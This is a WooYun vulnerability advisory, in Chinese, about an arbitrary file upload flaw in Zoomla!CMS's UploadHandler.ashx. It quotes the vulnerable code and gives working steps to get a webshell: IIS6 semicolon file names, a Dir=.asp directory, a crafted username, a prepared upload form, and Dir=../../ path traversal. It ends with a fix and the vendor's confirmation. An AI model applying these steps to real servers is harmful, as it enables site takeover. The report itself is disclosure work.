当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060079

漏洞标题:逐浪CMS一个漏洞的各种拿Shell姿势(系统环境限制)

相关厂商:逐浪CMS

漏洞作者: Damo

提交时间:2014-05-09 18:55

修复时间:2014-08-07 18:56

公开时间:2014-08-07 18:56

漏洞类型:文件上传导致任意代码执行

危害等级:中

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-09: 细节已通知厂商并且等待厂商处理中
2014-05-10: 厂商已经确认,细节仅向厂商公开
2014-05-13: 细节向第三方安全合作伙伴开放
2014-07-04: 细节向核心白帽子及相关领域专家公开
2014-07-14: 细节向普通白帽子公开
2014-07-24: 细节向实习白帽子公开
2014-08-07: 细节向公众公开

简要描述:

文件目录随意保存影响版本:包含此文件的版本均受影响
拿Shell影响版本:包含此文件的版本均受影响 仅是(IIS6.0)
依官网最新版本为测试对象 Zoomla!CMS2_x1.5

详细说明:

首先还是问题出现的部分
文件

\User\UploadHandler.ashx


看代码-------------

HttpPostedFile file = context.Request.Files["Filedata"];
if (context.Request["content"] != null || context.Request["content"] != "0")
{

context.Response.ContentType = "text/plain";
context.Response.Charset = "utf-8";
string PhPath = "";
context.Response.Write(context.Server.UrlDecode(context.Request["Dir"]));
string path = HttpContext.Current.Server.MapPath("\\" + SiteConfig.SiteOption.UploadDir + "\\") + uinfo.UserName + "\\" + context.Server.UrlDecode(context.Request["Dir"]) + "\\";


PhPath = path;
if (file != null)
{
if (!Directory.Exists(path))
{
Directory.CreateDirectory(path);
}
string[] str = file.FileName.Split('.');
if (str.Length > 0)
{
######### //path += DateTime.Now.ToString("yyyyMMddHHmmssfffffff") + "." + str[str.Length - 1];
path += file.FileName;
file.SaveAs(path);
}
//throw new Exception(path.Replace(PhPath, "\\UploadFiles"));
//上传成功后让上传队列的显示自动消失
context.Response.Write(path.Replace(PhPath, "").Replace('\\', '/'));
}
else
{
context.Response.Write("0");
}
}


问题出现在 path中 有三个地方存在危险 一个是 uinfo.UserName 一个是 context.Request["Dir"] 还有一个则是 path += file.FileName; file.SaveAs(path);
首先第一种方式
则是 则是尼玛直接利用IIS解析漏洞 xxx.aspx;.jpg
敢问官方

######### //path += DateTime.Now.ToString("yyyyMMddHHmmssfffffff") + "." + str[str.Length - 1];


这个事干吊用的?
图:

1-1.JPG


那么首先用第二种方式 uinfo.UserName 用户名的方式进行shell
注册-----》
注:这里不能注册.aspx的用户 原因在golbal中 代码片段如下

if (((base.Application["safeDomain"] != null) && 
!string.IsNullOrEmpty(base.Application["safeDomain"].ToString())) &&
(base.Request.RawUrl.ToLower().Contains(".aspx") ------------这里
&& !ZoomlaSecurityCenter.IsSafeDomain(base.Application["safeDomain"].ToString().ToLower())))


先登录
本地创建一个.aspx代码片段如下

<form id="form1" runat="server" method="post" action="http://192.168.10.19:9992/User/UploadHandler.ashx?content=aaaaaaaaa&Dir=abc">
<div>
<asp:FileUpload ID="Filedata" runat="server" /><input id="Submit1" type="submit" value="submit" />
</div>
</form>


然后上传得到文件 访问地址则为 Domain/UploadFiles/用户名/abc/文件名
Shell到手
图:

2-2.JPG

3-3.JPG


开启第三种方式 利用目录

本地创建一个.aspx代码片段如下

<form id="form1" runat="server" method="post" action="http://192.168.10.19:9992/User/UploadHandler.ashx?content=aaaaaaaaa&Dir=abc">
<div>
<asp:FileUpload ID="Filedata" runat="server" /><input id="Submit1" type="submit" value="submit" />
</div>
</form>


Dir则为目录参数
那么可以简单的构造成
http://192.168.10.19:9992/User/UploadHandler.ashx?content=aaaaaaaaa&Dir=.asp

上传得到SHell 地址为Domain/UploadFiles/用户名/.asp/文件名

4-4.JPG


另外文件可以随意保存 只要将目录更改为http://192.168.10.19:9992/User/UploadHandler.ashx?content=aaaaaaaaa&Dir=../../
即可(保存到根目录)

5-5.JPG


漏洞证明:

修复方案:

解决第一种方式---这个 这个明明有为何不用?

//path += DateTime.Now.ToString("yyyyMMddHHmmssfffffff") + "." + str[str.Length - 1];


去掉前两个斜线然后将path += file.FileName;注释掉即可

第二种方式对注册用户名过滤严谨
第三种方式 兄台用uploadify 你也不说改改代码 Dir 咱能不直接用uploadify传过来的folder吗


小弟不才简单方法大牛勿喷

版权声明:转载请注明来源 Damo@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-05-10 07:59

厂商回复:

交审!

最新状态:

暂无